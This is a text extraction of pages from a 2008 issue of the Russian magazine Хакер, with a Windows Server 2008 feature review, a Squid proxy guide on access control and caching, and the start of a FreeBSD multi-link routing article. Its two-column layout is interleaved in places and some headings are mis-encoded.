порядок удобнее и понятнее выглядит процедура перевода контроллера Как и прежде, доступно несколько редакций сервера, ориентирован-
в другой домен или лес. Нельзя не отметить, что на последнем этапе ных на определенное окружение или задачу. К редакциям Standard,
настройки появилась кнопка «Export Setting». Нажатие на нее позволит Enterprise, Datacenter и Web (для 32х и 64х битных систем) добавилась
сохранить все установки в файл ответов, который можно использовать редакция для серверов на платформе Itanium — Windows Server 2008 for
на других компьютерах. Плюс ко всему, теперь параметры DCPROMO Itanium-Based Systems. Сообщается, что это будет последняя версия ОС,
можно ввести прямо в командной строке. Но это косметика. Главная имеющая 32х битный вариант. Отдельно идут редакции, не включаю-
новинка — появление контроллеров доменов только для чтения (Read- щие средство виртуализации — гипервизор Hyper-V. Их можно узнать
Only Domain Controller — RODC). Этот тип DC предназначен, в первую по префиксу without Hyper-V, и цена на такие системы будет ниже.
очередь, для использования в филиалах, где крайне сложно обеспечить Лицензируется «длиннорог» аналогично предыдущей версии, а вирту-
физическую безопасность контроллера домена. RODC содержит неза- альная среда требует отдельного лицензирования. Работы по Hyper-V
писываемую и доступную только для чтения копию базы данных Active еще не закончены, пока доступна только тестовая версия. Финальную
Directory со всеми объектами и атрибутами. обещают в августе.
Не менее интересно появление новой службы сетевой политики и Минимальными требованиями являются: процессор 1 ГГц (x86) или 1.4
доступа (Network Policy and Access Service), пришедшей на смену IAS ГГц (x64), ОЗУ 512 Мб и 10 Гб свободного места на жестком диске. Как
(Internet Authentication Server). Надо сказать, она гораздо функцио- обычно, рекомендуемые можно смело умножать на два.
нальнее, чем RADIUS сервер. Одним из основных компонентов является Дистрибутив для тестирования свободно скачивается с сайта корпо-
Защита доступа к Сети (Network Access Protection — NAP). Ее приме- рации. По дефолту он будет полностью работоспособен в течение 60
нение позволяет гарантировать, что узел, подключающийся к Сети, дней, но прочитав на сайте Майкрософт статью под номером 948472,
удовлетворяет требованиям безопасности и установленным политикам. ты узнаешь, как продлить оценочный период до 240 дней. Этого вполне
Агент NAP, работающий на клиентском компьютере, передает маркеры достаточно, чтобы полностью и вполне законно изучить новинку.
System Health Validators (SHV), содержащие информацию о соблюдении Проверить количество дней, оставшихся до окончания текущего
установленных требований серверу сетевых политик (NPS). Последний 60‑тидневного периода, можно, введя команду «slmgr.vbs -dli».
не входит в установку по умолчанию, поэтому его необходимо предвари- Разработчики крайне упростили процесс установки, удалив некоторые
тельно развернуть. Требования к подключаемому компьютеру пропи- шаги и сделав его быстрым и максимально понятным. Если нет кода
сываются в политиках запроса соединения (Connection Request Policies). активации, мастер установки предложит автоматически активировать
Сервер может получить один из нескольких маркеров в зависимости Windows.
от события: работает ли антивирус и антишпионское ПО, обновлены Стоит отметить наличие удобного интерфейса, при помощи которого

xàêåð 05 /113/ 08
129
>> ХАКЕР.pro

настройки в network connections настройки межсетевого экрана

можно подготовить жесткий диск к установке. В версии 2k3 админист- В отличие от предыдущих версий Windows имеющиеся мастера позволя-
ратор мог лишь выбрать и отформатировать раздел. Теперь есть возмож- ют устанавливать и удалять сразу по нескольку ролей, служб и компо-
ность разделить диск на несколько разделов, просто выбрав New и введя нентов за один сеанс. При этом производятся проверки зависимостей,
требуемый размер. При нажатии Format выбранный раздел отформати- обеспечивающих установку всех необходимых ролей и служб ролей.
руется без лишних запросов о типе файловой системы. Роли устанавливаются с рекомендованными параметрами безопасно-
И еще одна новинка — администратор может выбрать два варианта сти, которые можно изменить, запустив Security Configuration Wizard
установки (правда, не во всех редакциях): Full или Core Installation. (мастер настройки безопасности). Он, кстати, заменил secedit.
Во втором случае устанавливаются лишь необходимые компоненты с Чтобы подготовить сервер к одной из ролей, достаточно запустить
ограниченным защищенным набором ролей, а графический интерфейс мастер установки. Большинство задач состоит из нескольких элементов
полностью отсутствует. Такая система априори имеет большую защи- под названием Службы ролей (Role Services). Например, в роли Network
щенность. Все управление будет осуществляться только при помощи Policy and Access Service доступно 6 Role Services, каждая из которых
командной строки. К сожалению, переключиться затем на стандартный добавляет функциональности. Если возникнет необходимость, всегда
интерфейс нельзя, сервер придется переустановить. можно, использовав мастер, установить или удалить Role Services из
Во время создания пароля администратора обрати внимание на неболь- окна Server Manager. Следует признать: теперь настройка некоторых
шую ссылку «Create a password reset disk». Нажатие на нее вызо- сервисов потребует чтения документации.
вет мастера, при помощи которого создается дискета (именно дискета!) Взглянув на список свойств сетевого интерфейса в Network Connections,
восстановления пароля. можно заметить, что, кроме IPv4, по умолчанию поддерживается и
По сравнению с Win2k3 рабочий стол системы не изменился. Если есть IPv6. В серверной версии ОС от Microsoft это применяется впервые.
желание, можно доустановить элементы интерфейса и сделать его иден- Выбрав настройку протокола, обнаружим еще одну вкладку — Alternate
тичным Aero из Vista. Configuration. Тут вводятся данные других сетей, к которым подключен
сервер. Компонент Link-Layer Topology Discovery Mapper предназначен
инстрУменты админа для поиска компьютеров и других устройств в сети, а включенный
Изменились и инструменты администрирования сервера. При первой Responder позволяет остальным узлам видеть этот компьютер.
загрузке тебя встретит «Initial Configuration Tasks», чье назна- Существенно переработан Task Scheduler, ставший куда функциональ-
чение совпадает с «Управлением данным сервером» из Win2k3. Послед- нее. Теперь задачи можно привязать к установленным на сервере
ний был малополезен, поэтому после установки удостаивался флажка приложениям.
«Не показывать эту страницу при входе в систему». Возможностей у
«Initial Configuration Tasks» на порядок больше, чем просто диспетчер серВера seRVeR MaNageR
управление ролями и созданными серверами. С его помощью можно В «Панели Управления» также есть нововведения. Мастер, появляющий-
установить часовой пояс, имя компьютера, настроить сеть и Windows ся при нажатии Add Hardware, поможет установить драйвер для старых
Firewall, обновить сервер, добавить роль и компоненты (Features). В устройств, не поддерживающих P-n-P. В Network and Sharing Center опре-
большинстве пунктов запускается простой мастер, который за несколь- деляются использование общего доступа к каталогам, файлам и принте-
ко шагов поможет быстро развернуть нужную функциональность. В рам, защита общих ресурсов паролем, видимость компьютера в сети.
комплекте поставляется 16 ролей (задач), на которые ориентирован Знакомые инструменты из Administrative Tools подверглись пере-
конкретный сервер (AD, сертификация AD, Network Policy Server, файло- работке. Главное новшество — появление диспетчера серверов
вый сервер и другие). Ожидается, что вскоре для загрузки будут доступ- (Server Manager), который заменил целую группу утилит из Computer
ны дополнительные роли, вроде службы потокового мультимедиа. Management в Win2k3. Все настройки теперь собраны в одном месте и
Все, что не является обязательным, отнесено к компонентам. Например, администратору не нужно их искать. Большая часть инструментов, дос-
шифрование диска BitLocker, балансировка сетевой нагрузки (Network тупных в самом Administrative Tools, продублирована в Server Manager.
Load Balancing), PowerShell, серверы и клиенты Telnet, SMTP, SNMP, Это полностью соответствует концепции ролей и компонентов, а также
управление групповой политикой, диспетчер съемных носителей и общему подходу к упрощению настроек. Диспетчер серверов способен
др. Выбор ролей и компонентов (вместо полной установки) повышает управлять практически всеми компонентами сервера, влияющими на
стабильность и безопасность. производительность и безопасность, а также просматривать инфор-

130 xàêåð 05 /113/ 08


>> ХАКЕР.pro

info
• используя утилиту
ServerManagercmd.
exe, можно устано-
вить и удалить роли,
службы ролей
и компоненты.

network Policy Server не выпустит в сеть «неподготовленный» • Проверить количе-


компьютер ство дней, остав-
отчеты стали доступнее
шихся до окончания
текущего 60-тиднев-
мацию об их работе. Он является единым источником, нового правила, поможет задать приложение, порт, ного периода, мож-
отображающим состояние сервера и определяющим про- протокол, интерфейс, а также пользователей и компью- но, введя команду
блемы в настройке. Основное окно консоли Server Manager теры. Отдельно указывается профиль для защищенного «slmgr.vbs — dli».
содержит четыре раздела: сводку по серверу (сведения о соединения IPSec. Фильтры позволяют быстро отобрать
компьютере и безопасности), сводку по ролям, сводку по правила, удовлетворяющие определенным условиям для • командой «slmgr.
компонентам, а также материалы и поддержку. Здесь же просмотра и редактирования. Созданные рулесеты можно vbs — rearm» сбра-
доступны ссылки, позволяющие изменить состав ролей и экспортировать. сывается текущий
компонентов или перейти к настройке параметров конкрет- пробный период, но
ного модуля. смотритель жУрналоВ делать это раньше,
После установки каждая роль получает собственную С просмотра журнальных записей начинают свой рабочий чем через 60 дней,
страницу в диспетчере. На странице предлагается набор день все администраторы. Event Viewer, доступный в не рекомендуется.
рекомендованных настроек для данной роли и справка, «длиннороге», подвергся существенным изменениям. Он дождись окончания
указывающая пользователю на задачи, которые необходи- позволяет получить статистику по событиям любого вида. текущего!
мо выполнить для корректной настройки функций роли. Его можно вызвать и как отдельное приложение, и через
Всю важную информацию и команды диспетчер выводит в Server Manager. Выполнен он в едином для Win2k8 стиле • к сожалению (или
самом верху. Это удобно, потому что администратор всегда и смутно напоминает систему мониторинга Microsoft к счастью), сущест-
в курсе происходящего. Так как событий, относящихся Operations Manager. В окне Summary можно быстро венных изменений
к конкретной роли, — море, предусмотрены средства фильт- просмотреть список источников, генерирующих события в работе с файловой
рации. Наличие событий, которые должны заинтересовать определенной критичности. Сразу же отображается коли- системой нет.
админа, подсвечивается значком в виде восклицательного чество подобных событий за час, сутки, неделю и общее.
знака, появляющимся напротив роли или компонента. Количество журналов, представленных в Event Viewer,
При помощи ссылок, расположенных справа, администра- значительно больше, чем в предыдущих версиях. Для
тор может получить доступ к тем системным настройкам, просмотра событий администратор может самостоятель-
которые не относятся к ролям и компонентам (не обяза- но создавать или импортировать из XML-файлов наборы
тельно вызывать их из Administrative Tools). Отсюда можно фильтров. Еще одно новшество — появление Subscriptions.
настроить планировщик задач, сервисы, WMI, пользователи Активировав Windows Event Collector Service, можно ука-
и группы, работу межсетевого экрана, а также получить дос- зать, с каких компьютеров какие события нужно получать,
туп к диспетчеру устройств. В отдельной вкладке Storage на- а также место их хранения. Ùелкнув по конкретному собы- links
ходятся настройки, отвечающие за работу систем хранения тию, можно просмотреть более подробную информацию. В • официальную
информации: Windows Server Backup и Disk Management. принципе, для сетей, где не используются другие средства информацию по
Консоль последнего позволяет быстро перейти к настрой- мониторинга, возможностей Event Viewer должно хватить. Longhorn можно
кам (Shadow Copy, квоты и прочее) и проверкам дисков Но есть еще одна особенность, привлекающая внимание, получить по адресу:
системы без необходимости вызова окна «Мой Компьютер». — а именно настройка реакции на конкретное событие. www.microsoft.com/
Достаточно отметить интересующее событие и в контекс- windowsserver2008.
межсетеВой экран тном меню выбрать пункт «Attach Task To This Event», как
Отдельно отметим межсетевой экран, встроенный в сразу откроется окно мастера Create Basic Task Wizard, где • в статье 948472 от
Win2k8. Это совершенно новый продукт. Теперь правила в качестве реакции можно настроить: отправку на e-mail, 21 марта, которую ты
можно задавать как для входящего, так и исходящего вывод сообщения и запуск внешней программы. можешь найти на сай-
трафика. В настройках по умолчанию входящие соеди- те майкрософт, дана
нения запрещены, а исходящие — разрешены. Основные акценты поменялись информация о том, как
настройки Windows Firewall производятся из Server Из обзора видно, что в Win2k8 основные акценты сделаны продлить оценочный
Manager или из одноименного пункта в Administrative на увеличение безопасности, на упрощение установки как период до 240 дней.
Tools. Предварительные установки доступны и в Initial самой ОС, так и сервисов, предоставляемых ей, а также
Configuration Task. Для редактирования доступно три про- на удобство последующих настроек. Будем надеяться, что • обзор Beta 3 читай
филя — доменный (Domain), пользовательский (Private) «длиннорог» не будет содержать такого большого количест- на сайте ][ — www.
и общий (Public). Мастер, запускающийся при создании ва ошибок, как предыдущие версии этой системы. z xakep.ru/post/41325.

xàêåð 05 /113/ 08
131
>> ХАКЕР.pro

Сергей «GrindEr» яреМчук


/ [email protected], TUx.iN.UA /

Ðåöåïòû
ïðèãîòîâëåíèÿ
êàëüìàðà
SQuID: настраиВаем контроль доступа и оптимизируем кэш

Когда нужно предоставить совместный доступ к Web-сервисам с возможно-


стью кэширования трафика, в первую очередь вспоминают о кэширующем
прокси-сервере Squid. Это гибкое решение применяют и в мелких офисах с
несколькими пользователями, и в корпоративных сетях со сложной тополо-
гией. Разберем, как настроить в Squid самые популярные функции — конт-
роль доступа и работу с кэшем.

УстаноВка sQUiD новки в каждом конкретном случае). Отметим, что сейчас параллельно
Для новичков — пара слов о самом Squid. Squid, он же «кальмар» (www. развиваются две ветки: 2.x и 3.x. Третья ветка перешла в разряд STABLE
squid-cache.org) — приложение, позволяющее организовать прокси/кэ- в конце прошлого года, и разработчики рекомендуют ее к использова-
ширующий сервер для HTTP, FTP и некоторых других популярных прото- нию. В репозитарии Ubuntu 6.06 LTS Dapper Drake находится пакет с
колов. Поддерживается работа с защищенными TLS/SSL соединениями, версией Squid 2.5, в последнем 7.10 — 2.6.14. Также в репозитариях всех
кэширование DNS, возможно использование Squid в качестве прозрачного Ubuntu, начиная с Festy Fawn (7.04), есть и пакеты с третьей версией
или реверсного прокси. Распространяется по лицензии GNU GPL. Работает Squid. По описываемым в статье параметрам отличий у них практиче-
во всех популярных вариантах Unix систем — GNU/Linux, *BSD, Mac OS X, ски нет.
SunOS/Solaris. Есть версия для Windows. Óñòàíîâêà кальмара â Ubuntu довольно проста:
В качестве примера буду использовать Ubuntu, но сказанное относится
и к остальным дистрибутивам или ОС (со скидкой на особенности уста- $ sudo apt-get install squid squid-common

13 xàêåð 05 /113/ 08


>> ХАКЕР.PRO

В репозитарии Ubuntu содержится куча пакетов к Squid

Или, для Squid 3:

$ sudo apt-get install squid3 squid3‑common


Параметры по умолчанию в squid.conf
После инсталляции Squid будет запущен с установками по
умолчанию. При первом запуске возможна ошибка «FATAL:
Could not determine fully qualified hostname. Настраиваем доступ
Please set 'visible_hostname'». Это значит, что по Изменив параметр http_port, мы можем подвесить Squid
дефолту разрешение имени узла, на котором работает Squid, только на внутренний сетевой интерфейс: info
осуществляется при помощи gethostname(). В зависи- • Для Squid существует
мости от установок DNS он иногда не может однозначно http_port 192.168.0.1:3128 огромное количество
определить имя, которое будет фигурировать в журналах дополнений (анализа-
и выводах об ошибках «Generated … by server.com Чтобы разрешить всем пользователям сетей 192.168.0.0, торы журналов, отчеты
(squid/3.0.STABLE2)», поэтому просит тебя помочь. Все 172.16.0.0 и компьютера 192.168.1.1 подключаться к и другие), в репози-
настройки Squid производятся в единственном файле /etc/ Squid, добавляем описание нового списка доступа в секцию тариях большинства
squid/squid.conf. В нем до невероятности много парамет- «ACCESS CONTROL»: дистрибутивов есть
ров и бросаться менять их все и сразу не стоит. Просмотреть самые популярные
список параметров, убрав пустые и закомментированные acl localnet src 192.168.0.0/24 172.16.0.0/12 из них. Для поиска в
строки, можно при помощи команды: 192.168.1.1 Ubuntu введи «sudo
apt-cache search
$ sudo grep -v "^#" /etc/squid/squid.conf | sed Переменные чувствительны к регистру, но, применив squid».
-e '/^$/d' параметр «acl -i», это можно исправить. Чуть дальше
покажу, как. Если нужно настроить доступ не для всей сети, а • После установки
Формат squid.conf стандартен для Unix. Каждая запись для отдельных ее узлов, проще записать их адреса в файл (по Squid в каталоге
состоит из строк вида: «параметр значение». Строки, начи- одному в строке), который и указать в качестве последнего /usr/share/doc/
нающиеся со знака решетки, — комментарии. Для удобства параметра. Третья строка — тип списка доступа. В нашем squid ты найдешь
настройки все параметры разбиты по секциям. Разбиение случае используется src (от source). При помощи других пара- документацию и при-
чисто условно и свои параметры можно заносить в любое метров можно задать внешний адрес (dst), МАС-адрес (arp), меры конфигурацион-
место файла. Возможно подключение внешнего файла с доменное имя (srcdomain, dstdomain), порт (port), протокол ных файлов.
настройками при помощи include. Помни, что установки (proto), время (time) и многое другое. Фактически, работа по
применяются в порядке очередности. организации доступа сводится к описанию объекта в acl, а • Для нарезания бан-
Для начала запустим Squid, устранив ошибку, указанную затем разрешению или запрету работы объекта при помощи неров можно дополни-
выше. Заносим в конфиг строку с именем сервера Squid (не- http_access с требуемыми параметрами. Например, чтобы тельно использовать
обязательно должно совпадать с доменным): указать рабочее время, применим такую конструкцию: прокси-сервер bfilter
(bfilter.sf.net) или
visible_hostname mysquid acl work_hours time M T W T F 9:00-18:00 редиректор для squid
— adzapper (adzapper.
И запускаем: В описании используются первые буквы английского языка, sf.net).
соответствующие дням недели. В секции «ACCESS CONTROL»
$ sudo /etc/init.d/squid start уже описаны некоторые ACL, в частности, описываются •Чтобы заставить
номера некоторых портов (привожу не все) и ACL, соответст­ Squid 2.6 работать в
В настройках по умолчанию сквид принимает входящие вующий всем адресам: режиме прозрачного
соединения на 3128/tcp. Командой «netstat — ant | кэширующего прокси-
grep 3128» проверяем, слушается ли этот порт. Если acl SSL_ports port 443 563 873 сервера, в конфиге
все OK, настраиваем веб-браузер для работы через acl Safe_ports port 80 21 443 563 1025-65535 следует удалить все
прокси-сервер и выходим в Сеть. Но сейчас это возмож- acl all src 0.0.0.0/0.0.0.0 директивы httpd_
но только с localhost. Чтобы в интернет могли попасть accel_* и пропи-
остальные пользователи локальной сети, нужно устано- Следует внимательно просмотреть весь список и закоммен- сать «http_port
вить соответствующие разрешения, используя контроль тировать строки с портами ненужных или неиспользуемых 127.0.0.1:3128
доступа. сервисов. transparent».

xàêåð 05 /113/ 08
133
>> ХАКЕР.pro

на сайте проекта сегодня доступны две версии Squid модуль настройки Squid в Webmin

Когда списки составлены, при помощи параметра http_access разре- Можно разбить это правило на два, сделав более читабельным:
шаем или запрещаем доступ указанному ACL. Общий формат вызова
такой: http_access allow work_hours workip
http_access deny workip
http_access allow|deny [!]название_ACL
Первая строка разрешит доступ при совпадении двух ACL: рабочее время и
Восклицательный знак инвертирует значение списка, то есть звучит, как IP-адрес. Вторая запретит доступ всех записанных в ACL workip при несов-
«все кроме». По умолчанию используется правило: падении с первым правилом (то есть в другой временной промежуток).

http_access deny all режем баннеры и сайты


Одна из функций, которая делает Squid востребованным, — запрет досту-
Его мы обязательно помещаем в конец списка рулесетов. В этом случае все па к определенным интернет ресурсам. Это реализовано на той же сладкой
соединения, которые не разрешены явно, будут блокированы. Майнтэй- парочке: acl и http_access. Зная адрес ресурса, можно просто закрыть
неры, собирающие пакеты в дистрибутивах, как правило, добавляют и доступ к конкретному адресу или целой подсети:
несколько своих правил.
Чтобы разрешить подключение к Squid с указанных адресов и работу толь- acl denynet dst 194.55.0.0/16
ко с нужными портами, пишем: http_access deny denynet

http_access allow localnet Но вместо того, чтобы использовать адрес, удобнее при помощи dstdomain
http_access deny !Safe_ports указывать домен назначения. Например, запретим доступ к сервисам
http_access deny !SSL_ports вроде RapidShare:

Сохраняем результат и перезапускаем Squid: acl rapida dstdomain .rapidshare.com .rapidshare.de


http_access deny rapida
$ sudo /etc/init.d/squid restart
Если в сети есть юзеры, которым разрешено все (начальство не любит,
Проверяем. Если все нормально, идем дальше. Чтобы не перестраивать когда их куда-то не пускают), то запрещающее правило можно дополнить
клиентские системы, проще использовать iptables: списком адресов:

iptables -t nat -A PREROUTING -i eth1 \ http_access deny workip dstdomain


-p tcp -m tcp --dport 80 -j DNAT \
--to-destination 192.168.0.1:3128 Это самый простой способ, но далеко не самый удобный. Þзвери, не попав
на любимый ресурс, быстро бросятся на поиск альтернативы и, естест-
iptables -t nat -A PREROUTING -i eth0 -p tcp -m tcp \ венно, ее найдут. Поэтому адреса в ACL удобнее задавать при помощи
--dport 80 -j REDIRECT --to-ports 3128 регулярных выражений:

А вот еще один пример. Нам нужно, чтобы компьютеры с определенными acl adult dstdom_regex sex
IP могли выходить в инет только в рабочее время. Без проблем: acl regexdomain dstdom_regex \.com$ \.net$ \.tv$
http_access deny adult regexdomain
acl workip src 192.168.1.100 192.168.1.200-
192.168.1.210 Сейчас мы запретили доступ ко всем все доменам, содержащим слово
http_access deny !work_hours workip «sex», и всем доменам в зонах .com, .net и .tv.

134 xàêåð 05 /113/ 08


>> ХАКЕР.PRO

Параметры кэша в Webmin


Настройки доступа в Webmin

Аналогичным образом блокируется и определенный контент, но вместо acl adsense url_regex — i *pagead2*
dstdom_regex используется url_regex или urlpath_regex. С их http_access deny adsense
помощью указывается шаблон регулярного выражения для URL. Второй
отличается тем, что не нужно заботиться о пути URL (при описании исклю- Используя тип proto, можно указать один из протоколов (http или ftp),
чается домен). Например, создадим описания расширений видео, флэш для которых будет действовать правило, или вообще запретить доступ по
и музыкальных файлов и запретим обращение к таким ссылкам. В этом выбранному протоколу:
случае urlpath_regex подходит больше, но приведу оба варианта для
примера. Чтобы игнорировался регистр символов, используем ключ -i: acl ftp proto ftp
http_access deny ftp workip
acl videofiles url_regex — i *\.avi$ *\.mpg$ *\.mp4$
*\.swf$ Теперь с компьютеров с адресами, входящими в workip, нельзя будет
acl soundfiles urlpath_regex -i \.mp3$ \.asf$ \.wma$ обратиться к FTP-ресурсам. Использование ACL для блокировки баннеров
http_access deny videofiles soundfiles не очень удобно. Выходом будет фильтрация не по конкретному адресу, а
по содержимому при помощи squidGuard (его настройку мы рассмотрим в
Кстати, для хранения URL удобно использовать отдельный файл: следующем номере журнала).

acl blockfiles urlpath_regex -i "/etc/squid/blocks. Настройки кэша


files.acl" Борьба с баннерами — не единственная возможность сэкономить трафик.
http_access deny blockfiles Нельзя обойти стороной настройку кэширования. В Ubuntu кэш по умол-
чанию размещается в каталоге /var/spool/squid. В других дистрибути-
Заносим в него данные о расширениях: вах может быть иначе. Чтобы не искать, посмотри значение переменной
cache_dir. Формат ее таков:
$ sudo nano /etc/squid/blocks.files.acl
\.exe$ cache_dir type путь размер L1 L2 [options]
\.avi$
\.mpg$ Например:
\.mpeg$
\.mp3$ cache_dir ufs /var/spool/squid 10249 16 256

При изменении содержимого этого файла следует перезапускать Squid. Поле type определяет тип кэша: ufs (unix file system), aufs и diskd.
Иногда полезно выводить информационную страничку, чтобы пользова- Обычно используется ufs как наиболее надежный. Максимальный
тель знал, что он пытается получить доступ к запрещенному URL и его бло- размер, после которого кэш будет очищаться, установлен по умолчанию
кируют. Для этого используется параметр deny_info, который находится в 100 Мб. При серьезных нагрузках он быстро заполнится, поэтому есть
в секции «ERROR PAGE OPTIONS». В качестве параметров следует передать смысл увеличить его до нескольких гигабайт (мы увеличили до 10 Гб).
файл или URL, который будет выведен пользователю, и ACL, к которому Удобно, что можно использовать несколько cache_dir, установив кэш
относится данный deny_info. Файл должен находиться в подкаталоге на разных дисках, — положительно скажется на производительности. В
/etc/squid/errors в формате HTML. Кроме того, на каталог для Squid каждый кэшируемый объект располагается в отдельном файле, а
сообщений об ошибках показывает переменная error_directory (в Ubuntu сами файлы не сваливаются в одно место, благодаря механизму работы
/usr/share/squid/errors/English). Добавляем в squid.conf: с двухуровневой иерархией каталогов. Количество каталогов первого и
второго уровней определяют параметры L1 и L2. По умолчанию их зна-
deny_info ERR_BLOCKED_FILES blockfiles чения 16 и 256, соответственно. Дополнительно для каждого cache_
dir можно определить параметр read-only (только чтение) и max-size
И создаем файл /etc/squid/errors/ERR_BLOCKED_FILES, где (максимальный размер объекта).
популярно расписываем причину блокировки. С помощью регексповых Максимальный размер объекта в кэше определяется переменной
выражений можно блокировать и рекламу. Например, Google AdSense и maximum_object_size. Значение по умолчанию — 4 Мб, есть смысл его
некоторые другие попадут под правило: увеличить:

xàêåð 05 /113/ 08
135
>> ХАКЕР.PRO
maximum_object_size 10240 KB control: public», принудительно кэшируя такой объект.
Параметры, появившиеся в третьей версии:
Степан Ильин
Аналогично, есть и параметр minimum_object_size,
/ STEP@GAMELAND. RU/• ignore-no-store — игнорировать заголовок «Cache-
отвечает за минимальный размер объекта, по дефолту он control: no-store»;
отключен (значение 0). Объем ОЗУ, используемый Squid для • refresh-ims — заставляет проверять наличие новой вер-
хранения обрабатываемых объектов, определяется парамет- сии файла при получении от клиента If-Modified-Since.
links ром cache_mem (по умолчанию — 8 Мб). При большом размере В самом простом случае вместо правил по умолчанию можно
На странице wiki. кэша лучше увеличить это значение, тем более что объемы со- написать одно правило, заставляющее принудительно кэши-
squid-cache. временных ОЗУ это позволяют. Иначе Squid будет сбрасывать ровать объекты на целый год:
org/ConfigExamples всю информацию на диск, что замедлит его работу.
доступны примеры Но это еще далеко не все. Например, отключенный по refresh_pattern . 518400 80% 518400
настроек Squid. умолчанию параметр reload_into_ims разрешает игно- override-expire override-lastmod reload-into-
рировать nocache или reload и выдавать объект из кэша. ims ignore-no-cache ignore-private ignore-
Это нарушение стандарта HTTP, но большинство серверов auth ignore-no-store
умеют корректно обрабатывать такой запрос, потому
включаем: Устанавливаем размер кэша побольше и забываем о Squid.
Это даст весьма ощутимую экономию трафика. Но такой под-
reload_into_ims on ход не всегда приемлем, да и кэш быстро заполнится старыми
файлами. Поэтому лучше установить свои варианты кэширо-
Вместо глобальной установки можно задать такой параметр вания для разных типов файлов. Например, часто на сайтах
для некоторых типов файлов. проектов экзешники, архивы и некоторые другие типы фай-
Документация на странице reload_into_ims отсылает лов имеют постоянный адрес, вроде server.com/current.
нас к не менее интересной директиве refresh_pattern, exe. Укажем для таких файлов время хранения в месяц:
которая управляет параметрами кэширования:
refresh_pattern \.exe$ 43200 100% 43200
refresh_pattern [-i] regex min percent max override-expire override-lastmod reload-into-
[options] ims ignore-no-cache ignore-private ignore-
auth ignore-no-store
В regex пишем регулярное выражение, которому будет
отвечать правило. Проверка производится до первого refresh_pattern \.zip$ 43200 100% 43200
совпадения. Поэтому последним всегда устанавливается override-expire override-lastmod reload-into-
«.» — то есть правило для всех объектов. Параметр min и ims ignore-no-cache ignore-private ignore-
max указывают на минимальное и максимальное время в auth ignore-no-store
минутах, в течение которого объект считается новым. В
percent указывается процент от времени последней моди- И так далее. Схожим образом «вырезаем» рекламу. Так как
фикации объекта. В min рекомендуется устанавливать 0, довольно трудно создать универсальное правило для acl/
чтобы корректно работать с динамически обновляемыми http_access и всегда можно допустить ошибку, рекламу проще
страницами. В версии Squid 2.x по умолчанию используют- кэшировать, чем блокировать:
ся инструкции:
refresh_pattern http://ad\. 43200
refresh_pattern ^ftp: 1440 20% 10080 100% 43200 override-expire override-lastmod
refresh_pattern ^gopher:1440 0% 1440 reload-into-ims ignore-no-cache ignore-
refresh_pattern . 0 20% 4320 private ignore-auth ignore-no-store
warning refresh_pattern http://click\. 43200
После изменения В версии 3.0 перед «.» добавлена строка: 100% 43200 override-expire override-lastmod
конфигурационных reload-into-ims ignore-no-cache ignore-
файлов не забывай refresh_pattern (cgi-bin|\?) 0 0% 0 private ignore-auth ignore-no-store
перезапускать Squid. refresh_pattern http://count\. 43200
В поле options через пробел указываются дополнительные 100% 43200 override-expire override-lastmod
параметры. В версии 2.x параметров семь, в 3.х добавилось reload-into-ims ignore-no-cache ignore-
еще два. Большинство из них идут в разрез со стандартами private ignore-auth ignore-no-store
HTTP, и их использование может вызвать проблемы при рабо-
те с некоторыми серверами. Однако они весьма полезны для Это наиболее простой способ. При тщательном изучении
оптимизации кэша и понадобятся в дальнейших настройках: логов можно составить коллекцию URL, которые стоит
• override-expire — в нарушение стандарта заставляет поместить в вечный кэш. Для нарезания баннеров можно
игнорировать параметр expire, то есть время актуальности дополнительно использовать прокси-сервер bfilter (bfilter.
объекта; sf.net) или редиректор для squid — adzapper (adzapper.
• override-lastmod — игнорирует время последней моди- sf.net).
фикации объекта, переданного сервером; Как видишь, кальмар не так страшен. Если не считаешь
• reload-into-ims, ignore-reload — изменяет или игнориру- удобной ручную настройку, обратись к Webmin, где
ет клиентские запросы nocache или reload и принудитель- большинство установок можно произвести в наглядной
но выдает объект, хранящийся в кэше; форме. Базовая настройка занимает минут 10. После
• ignore-no-cache, ignore-private, ignore-auth — игно- определенной доводки пользователи будут радоваться
рирует заголовки «Pragma: no-cache», «Cache-control: скорости открытия страниц, а руководство — низкому
no-cache», «Cache-control: private» и «Cache- трафику. z

136 xàêåð 05 /113/ 08


>> ХАКЕР.pro

Сергей Супрунов
/ [email protected] /

Êàê äâà ëèíêà


îáóçäàòü
добиВаемся эффектиВной работы несколькиХ интернет-каналоВ Во frEEBSD

Если автомагистраль перестает справляться с возросшим потоком транс-


порта, то проблема обычно решается строительством дополнительных по-
лос. К счастью, ввести в эксплуатацию дополнительные «полосы» доступа в
интернет гораздо проще, чем расширять проезжую часть. Но пакеты данных
не столь разумны, как водители, так что об оптимальном заполнении всех
имеющихся каналов придется заботиться самому.

Все, что могУ… хоть тресни, а трафик будет идти через rl0 и никак иначе. Ну да, можно,
Сразу расставим точки над «ай» — есть вещи выше наших сил. Допус- конечно, вспомнить про автономные системы, протокол BGP, граничные
тим, на твоем сервере работает Apache, и если у какого-то далекого (или маршрутизаторы и прочие премудрости. Но, как ты думаешь, сколь-
недалекого) клиента маршрут к нему ведет через твой интерфейс rl0, то ко в мире найдется провайдеров, готовых бесплатно возиться с твоей

138 xàêåð 05 /113/ 08


>> ХАКЕР.pro

если добавить опцию log в правила ipfw, в /var/log/security можно увидеть много интересного

маршрутизацией, если таких клиентов, как ты, у них тысячи? Так что
сразу оговорюсь, что не буду рассматривать способы, требующие особого
отношения со стороны провайдера, и покажу лишь то, что можно сделать
самостоятельно, имея несколько «обычных» подключений.
За основу возьму свою любимую FreeBSD и пакетный фильтр ipfw. Воз-
можно, это не самый лучший вариант для построения шлюза с нескольки-
ми внешними соединениями, зато рассмотренные принципы с высокой одна сетевуха вполне осилит несколько подключений
долей вероятности будут справедливы и для остальных никсов.
Схема «полигона» представлена на рисунке. Внутренняя сеть
— 172.16.0.0/16, именно ее мы и должны будем выпускать в интер- адреса назначения), либо внутреннее (когда рабочий канал определяется
нет. Деление на «подсети» сделано исключительно для удобства. Реаль- источником: бухгалтерию и себя любимого через 1-й, всех остальных
ные подсети выделять не будем (маска подсети на всех машинах будет — через 2-й). В-третьих, можно устроить дележ по типу трафика, скажем,
255.255.0.0). Это позволит нам не возиться с внутренней маршрутиза- выселив SMTP на отдельный канал и освободив, тем самым, основной для
цией — некогда серьезная проблема перегрузки сегмента сети гуляющими беспробудного серфинга.
по всем портам пакетами, преимущественно из-за которой сеть и дроби- В качестве примера рассмотрим решения следующих частных задач (бо-
лась, канула в Лету вместе с бестолковыми концентраторами (aka хабы). лее общие, думаю, ты и сам сможешь получить методом экстраполяции):
